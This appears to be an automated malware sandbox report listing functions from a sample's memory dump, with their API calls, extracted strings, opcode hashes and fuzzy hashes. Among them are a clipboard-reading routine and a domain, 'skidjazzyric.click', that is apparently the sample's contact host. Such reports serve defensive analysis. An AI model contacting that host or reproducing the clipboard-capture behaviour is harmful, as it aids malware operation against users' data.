Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 70d981859670fd793932c7c444f625041412950c9dc77849c248c280f17ca9eb
Instruction ID: eec963dbc9801fc3913bfdf18ad1a32b262da881e13d81ded00259970476d675
Opcode Fuzzy Hash: 70d981859670fd793932c7c444f625041412950c9dc77849c248c280f17ca9eb
Instruction Fuzzy Hash: AED0C7B59518004FA785B764BC5A46F36179BA7205304541CE40702616EF35799E8E9A

Function 0066D433 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0066D445

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 2e4c501035c34d46c252ac8ac3b67fb95a2637f0c3618507bbdaecb4c345c120
Instruction ID: 74a9af089e46e888dbd1b25a83865cd16bc2744d496a3cc24e8ec45b69a76ec9
Opcode Fuzzy Hash: 2e4c501035c34d46c252ac8ac3b67fb95a2637f0c3618507bbdaecb4c345c120
Instruction Fuzzy Hash: BCD092703C8205BAF7646A18EC17F1532525706B61F341255B366EE6D1C9A075018A28

Function 0066D400 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0066D413

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: fdadb714aa1c97ffc3f63f63aac848a7b38ef546690d0e833ac3fc37ae5625e4
Instruction ID: e6b009176ede4d75d139326b1a8c2ecff87590c1b9be99eb8f088ce0b91ce879
Opcode Fuzzy Hash: fdadb714aa1c97ffc3f63f63aac848a7b38ef546690d0e833ac3fc37ae5625e4
Instruction Fuzzy Hash: 78D05E715505446BD3407618DC47F5236599B03766F101219F663CB5D2D910B915C975

Function 006A04E2 Relevance: 1.5, APIs: 1, Instructions: 13
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 006A04FD

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 2e27cb9e1aa223024974d77bdf27614163e40edca028a2982a0e54a02cf33519
Instruction ID: 6b43e1886552adf0cc3a370b068e2f8e06533af9434d2995e990bbc89b5f8bfa
Opcode Fuzzy Hash: 2e27cb9e1aa223024974d77bdf27614163e40edca028a2982a0e54a02cf33519
Instruction Fuzzy Hash: 0CC08CB1004032EBCB503F28BC16BDA3A12EF02361F0B0890F001A84B4C728DCD1CED8

Function 006A04B0 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,00000001,00668C27,FDFCE302), ref: 006A04C0

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b3662ace010aa819f8b3f98394ed43bbae893c0516ff45e7e6ee8e5de90e89bb
Instruction ID: a2086286fe45d0f6bed87a1666b795690334311d7b1cc89ca1eabe6ef32ca022
Opcode Fuzzy Hash: b3662ace010aa819f8b3f98394ed43bbae893c0516ff45e7e6ee8e5de90e89bb
Instruction Fuzzy Hash: CBC048B1045120AACE502B24EC09BCABA6AEF46262F024096B004A61B18660ACC28A98

Non-executed Functions

Function 0067618C Relevance: 13.5, Strings: 10, Instructions: 1044COMMON

Download Yara Rule

Strings

pSlM, xrefs: 00676406
YjM, xrefs: 00676BF6
fjM, xrefs: 00676BB3
yx, xrefs: 0067628E
6y, xrefs: 00676278
y~, xrefs: 00676283
fjM, xrefs: 00676B0D
YjM, xrefs: 00676B56
6, xrefs: 00676C5B
{, xrefs: 00676299

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID: 6$6y$YjM$YjM$fjM$fjM$pSlM$yx$y~${
API String ID: 0-3274899816
Opcode ID: 42c3c5b3fb91fe724485a148774c8a36fb9ec60f6e2e7b275ecd830382d89ae3
Instruction ID: 741c6340c0c34a8574d9f9dc2ad882bb13e3ac8b2fe5982803a36150993933d1
Opcode Fuzzy Hash: 42c3c5b3fb91fe724485a148774c8a36fb9ec60f6e2e7b275ecd830382d89ae3
Instruction Fuzzy Hash: FD62C2701087418FD725DF24C8A1BAB77E2FF86314F149A5CF1DA8B2A2D7359845CB92

Function 0066E16E Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 345COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 0066E17A

Strings

Zb, xrefs: 0066E188
RYZ[, xrefs: 0066E52E
skidjazzyric.click, xrefs: 0066E631
c[i!, xrefs: 0066E2CB
yj, xrefs: 0066E29A
UGC9, xrefs: 0066E2E1

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: Uninitialize
String ID: RYZ[$UGC9$Zb$c[i!$skidjazzyric.click$yj
API String ID: 3861434553-1669968470
Opcode ID: 66da3d3473af009af222096307fe829980f193c15c0e5cb7dd8492eb3fb1582f
Instruction ID: 662156854e5a12e4138bc17a299e9fbcc563529b91679b4f4f72ec785071a160
Opcode Fuzzy Hash: 66da3d3473af009af222096307fe829980f193c15c0e5cb7dd8492eb3fb1582f
Instruction Fuzzy Hash: 39C1EF7150C3D08BDB348F28D4683EBBBE2AFE2304F18496CD4D95B386D679450ACB96

Function 0066B280 Relevance: 10.4, Strings: 8, Instructions: 384COMMON

Download Yara Rule

Strings

S;G%, xrefs: 0066B3DB
SV, xrefs: 0066B66F
UGEA, xrefs: 0066B292
ox}k, xrefs: 0066B742, 0066B550, 0066B6A6, 0066B6B2, 0066B739, 0066B76C, 0066B695, 0066B725, 0066B5A4
x[G, xrefs: 0066B350
DM_e, xrefs: 0066B362, 0066B513
)Ku, xrefs: 0066B43B
c[G, xrefs: 0066B2BB

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID: )Ku$DM_e$S;G%$SV$UGEA$c[G$ox}k$x[G
API String ID: 0-3323421312
Opcode ID: 5af2f1c237d5074bc88c243addbd0c9da3b894260b41f6ff0fa21c52bdfe993f
Instruction ID: 4da6328cbe467a83842ec5e0f352ef5652e0deb96d417bddea35c3c9e4a4b358
Opcode Fuzzy Hash: 5af2f1c237d5074bc88c243addbd0c9da3b894260b41f6ff0fa21c52bdfe993f
Instruction Fuzzy Hash: 8ED1F17150C340CBD724CF28C4943ABBBE3AFC1708F18996CE4E59B345D7768A4A8B86

Function 00669360 Relevance: 10.3, Strings: 8, Instructions: 272COMMON

Download Yara Rule

Strings

ID, xrefs: 006693E2
eMOK, xrefs: 006693F0
vu, xrefs: 006694D7
E, xrefs: 00669388
ADTD, xrefs: 00669428
Y, xrefs: 006694DE
|xzy, xrefs: 00669438
vxtq, xrefs: 00669440

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID: ADTD$E$ID$Y$eMOK$vu$vxtq$|xzy
API String ID: 0-1466227541
Opcode ID: 694bb15107f4bc877fab139e9b3cb1dd418c9edad3bc46051563358933346528
Instruction ID: 32a15b6347eaefc4d1db6b03bc429196b32e89402ec1adf08fce286a831eda56
Opcode Fuzzy Hash: 694bb15107f4bc877fab139e9b3cb1dd418c9edad3bc46051563358933346528
Instruction Fuzzy Hash: BE71F23058C3C28AD3118F79C4A07ABFFE19FA2354F18496DE8D54B386D37985099BA6

Function 0068A7F0 Relevance: 9.3, APIs: 2, Strings: 3, Instructions: 573COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 0068A8F7
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 0068A9CF

Strings

*, xrefs: 0068AC00
q, xrefs: 0068ADA6
*, xrefs: 0068AA60, 0068AB95, 0068AA93

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: *$*$q
API String ID: 237503144-4001757600
Opcode ID: bee4cbd9ab10fb480d9b3c547d1c340b045e0551442a873cc2f9019d30c9ae28
Instruction ID: 2282e84f23d50d2ee06d9ef9afc05573e0f9d050f5ed8b396be73e5aaf9d3fa8
Opcode Fuzzy Hash: bee4cbd9ab10fb480d9b3c547d1c340b045e0551442a873cc2f9019d30c9ae28
Instruction Fuzzy Hash: 9D0213B16083158FE724DF68D89035FB7E2FFC5304F158A2DE9958B291DB749905CB82

Function 00697A60 Relevance: 9.1, APIs: 6, Instructions: 119clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00697A74
GetClipboardData.USER32 ref: 00697A8F
GlobalLock.KERNEL32 ref: 00697AAE
GlobalUnlock.KERNEL32 ref: 00697BE6
CloseClipboard.USER32 ref: 00697BF1

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 5d073f864cbdc2a45e927f63fda48f1c05cdcfb26128df99faae0d3937c7ff4d
Instruction ID: 8ea5647a879c5a1a809edfd812d3f0f50b62297e546c2309c9c70d1007f9091c
Opcode Fuzzy Hash: 5d073f864cbdc2a45e927f63fda48f1c05cdcfb26128df99faae0d3937c7ff4d
Instruction Fuzzy Hash: 6D419D7150C3818FD700EF7884593AEBFE6AB92304F08496DE4C587782D679858DDBA3

Function 00679B30 Relevance: 6.2, APIs: 2, Strings: 1, Instructions: 947COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 00679FF7
FreeLibrary.KERNEL32(?), ref: 0067A039

Part of subcall function 006A2080: LdrInitializeThunk.NTDLL(006A523A,00000002,00000018,?,?,00000018,?,?,?), ref: 006A20AE

Strings

mj, xrefs: 00679F08

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: mj
API String ID: 764372645-1022201683
Opcode ID: cc0670210f36a8055e562b3cdbebad59e834b5d085ba3ba81ff2847a11abb692
Instruction ID: 7f1aea0cb0b0775d355e3696f69068aa4067b287ec7e48fa4551565a6b6dcc5f
Opcode Fuzzy Hash: cc0670210f36a8055e562b3cdbebad59e834b5d085ba3ba81ff2847a11abb692
Instruction Fuzzy Hash: 4F62C1756083419FE724DF24CC51BAABBE3ABC5318F24CA1CE598473A1E771A845CF52

Function 00685713 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 346COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00685743

Strings

67, xrefs: 00685B0C

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 67
API String ID: 237503144-1886922373
Opcode ID: af5549324818d649870345181f0bbefdfe5ded57dadabb4b6c492577c736d3f0
Instruction ID: 4364188ca9a6eadf9f6f3198a03743cdde8472a85e6e842e25990f6dfc86526a
Opcode Fuzzy Hash: af5549324818d649870345181f0bbefdfe5ded57dadabb4b6c492577c736d3f0
Instruction Fuzzy Hash: 7AB1B9B0508300CBD710AF64D89176BBBE6FF86708F445A2DE5859B342E7799A09CB87

Function 00685DA0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00685E98
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00685F24

Strings

23, xrefs: 00685E1F

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 23
API String ID: 237503144-326707096
Opcode ID: b6cf5257bfb5f8581d7a7148e0d4db8d6e59862bce4a61ed2419413c3eea7046
Instruction ID: 57e48624eda623da07edf86243c504fdb71869248abcae8c644595d60e56d5fe
Opcode Fuzzy Hash: b6cf5257bfb5f8581d7a7148e0d4db8d6e59862bce4a61ed2419413c3eea7046
Instruction Fuzzy Hash: 127112B1A04358DFEB20CFA8D841BEEBBB6FB45304F10853CE515AB281D7B5590ACB85

Function 00689917 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00689C9A

Strings

67, xrefs: 00689C0E

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 67
API String ID: 237503144-1886922373
Opcode ID: 64d3243edc623a42b25ec33d028f1ac1d5f6025839117d7e3bf330bef9e96e94
Instruction ID: 2a658c4ed51cd0d2199bfbdfbba9b412fac71fdaaaa52f74eb825c6387377895
Opcode Fuzzy Hash: 64d3243edc623a42b25ec33d028f1ac1d5f6025839117d7e3bf330bef9e96e94
Instruction Fuzzy Hash: EF61B2B56083409FD724EF24D88176FBBE6BFC5304F185A2DE58A87242DB71D905CB92

Function 00689B7B Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00689C9A

Strings

67, xrefs: 00689C0E

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 67
API String ID: 237503144-1886922373
Opcode ID: 41b9b851d5ce095039009192aa0bbf037ab448695d6d6b8483a9b4315b761063
Instruction ID: 9c4b4cd08d524051c2c12b60fcf7da002c0f6dd774dd07ad24db8985416de5c2
Opcode Fuzzy Hash: 41b9b851d5ce095039009192aa0bbf037ab448695d6d6b8483a9b4315b761063
Instruction Fuzzy Hash: DC61B3B16083409FD724EF24D88176FBBE6BFC5304F185A2CE58A87242DB71D905CB92

Function 00697C10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 181COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00697C52
GetSystemMetrics.USER32 ref: 00697C62

Strings

, xrefs: 00697D4F

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 1b92cdf524ccd71782d8f7194b3320428f310c9bc3ea139d67b2d325bd5a3473
Instruction ID: 850526c229b0969101a3175f21d9c7d5173f120beba106668ae32e39b36fbb32
Opcode Fuzzy Hash: 1b92cdf524ccd71782d8f7194b3320428f310c9bc3ea139d67b2d325bd5a3473
Instruction Fuzzy Hash: 34C17CB01093808FD770EF64D5A979BBFF2BB8A308F10592CE5898B650D7B49949CF46

Function 00687FC0 Relevance: 5.4, Strings: 4, Instructions: 431COMMON

Download Yara Rule

Strings

vC, xrefs: 00688162
up, xrefs: 00688157
@-, xrefs: 0068814C
#C}, xrefs: 00688438

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID: #C}$@-$up$vC
API String ID: 0-3794437364
Opcode ID: fe0e807dc1757d66c639b1cad51144faf8d37fc0ed9782eb206204882dd11ef5
Instruction ID: eae482dcaa57b76eb01fb7c3b1478e1ffdcbd1a7eaa3abf0bb61d219fc516634
Opcode Fuzzy Hash: fe0e807dc1757d66c639b1cad51144faf8d37fc0ed9782eb206204882dd11ef5
Instruction Fuzzy Hash: 6CE1EFB1208340DFE324EF24D890B6BBBE2FBC6304F54992DE2998B251DB319905CF56

Function 006A37D0 Relevance: 4.4, Strings: 3, Instructions: 647COMMON

Download Yara Rule

Strings

UUK, xrefs: 006A3D79
>j, xrefs: 006A3ED1
M;j, xrefs: 006A3AF2

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID: M;j$>j$UUK
API String ID: 0-864640358
Opcode ID: a1b72423c712f75945a8556e5e6d1ae12d7dc879c6a8652547b31df72298a007
Instruction ID: c5dfee5f3bad237e4a735385515e91740192a313592edd1f69986d224580f4af
Opcode Fuzzy Hash: a1b72423c712f75945a8556e5e6d1ae12d7dc879c6a8652547b31df72298a007
Instruction Fuzzy Hash: C022E135A08320CFD314EF28E89076AB7E2FB9A314F0A987DE58587351D776E945CB81

Function 006A38E0 Relevance: 4.3, Strings: 3, Instructions: 577COMMON

Download Yara Rule

Strings

UUK, xrefs: 006A3D79
>j, xrefs: 006A3ED1
M;j, xrefs: 006A3AF2

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID: M;j$>j$UUK
API String ID: 0-864640358
Opcode ID: 871319f13e021e8032e7fe00ac12a4f5200dfb7c8c129bd2adc89688f4bcf396
Instruction ID: ba80cabc78b5976d2ce71074c2a73c593c4b50e9a255028d868209d6f68141ce
Opcode Fuzzy Hash: 871319f13e021e8032e7fe00ac12a4f5200dfb7c8c129bd2adc89688f4bcf396
Instruction Fuzzy Hash: 3F02DF35A08320CFD314EF28D89076AB7E2FBDA314F0AA87DE58987351D675E945CB81

Function 006A38FB Relevance: 4.3, Strings: 3, Instructions: 566COMMON

Download Yara Rule

Strings

UUK, xrefs: 006A3D79
>j, xrefs: 006A3ED1
M;j, xrefs: 006A3AF2

Memory Dump Source

Source File: 00000003.00000002.2805755432.0000000000661000.00000020.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2805738375.0000000000660000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805813570.00000000006A9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2805840920.00000000006B7000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_5796.jbxd

Similarity

API ID:
String ID: M;j$>j$UUK
API String ID: 0-864640358
Opcode ID: 8cc7bba1ae4bcfc41bb81984f27a60e359b654b3a934fac09d42794633b36e85
Instruction ID: ac3bd99ea554b35839c89ce1e8c52b82bac7691dca32f7b833405610d00d06fe
